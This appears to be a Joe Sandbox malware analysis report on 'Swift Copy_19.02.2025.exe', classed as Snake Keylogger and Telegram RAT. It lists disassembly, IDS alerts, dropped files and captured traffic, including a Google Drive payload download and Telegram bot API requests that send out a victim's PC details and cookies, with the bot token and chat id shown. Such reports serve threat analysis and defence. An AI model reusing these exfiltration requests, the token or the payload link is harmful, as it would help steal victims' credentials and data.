Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37789478h	6_2_37789180
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377B1FE8h	6_2_377B1CF0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377B1658h	6_2_377B1360
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377B0801h	6_2_377B0508
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377B0CC8h	6_2_377B09D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377B0338h	6_2_377B0040
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377B1B20h	6_2_377B1828
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377B1190h	6_2_377B0E98
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	6_2_377D4118
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	6_2_377D40B9
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	6_2_377D0C78

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2021/02/2025%20/%2002:29:43%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY/sendDocument?chat_id=8173633564&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd521f9ed5b80aHost: api.telegram.orgContent-Length: 1281

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49989 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49987 -> 142.250.186.174:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49992 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49993 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49997 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49998 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49995 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49991 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49994 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49996 -> 104.21.112.1:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KW HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KW&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Swift Copy_19.02.2025.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Music\timelanges.lnk

C:\Users\user\AppData\Local\Temp\nsl778C.tmp\System.dll

C:\Users\user\Music\timelanges.lnk

C:\Users\user\spinsterishly\Fiskeretten\Aphthartodocetic.ini

C:\Users\user\spinsterishly\Fiskeretten\Innovativeness151.jpg

C:\Users\user\spinsterishly\Fiskeretten\Outrivals.Sko

C:\Users\user\spinsterishly\Fiskeretten\Railleredes.Pad

C:\Users\user\spinsterishly\Fiskeretten\desorienteres.txt

C:\Users\user\spinsterishly\Fiskeretten\gennemskylnings.txt

C:\Users\user\spinsterishly\Fiskeretten\gerry.pad

C:\Users\user\spinsterishly\Fiskeretten\inkassogebyrers.txt

C:\Users\user\spinsterishly\Fiskeretten\klasikkens.txt

Windows Analysis Report
Swift Copy_19.02.2025.exe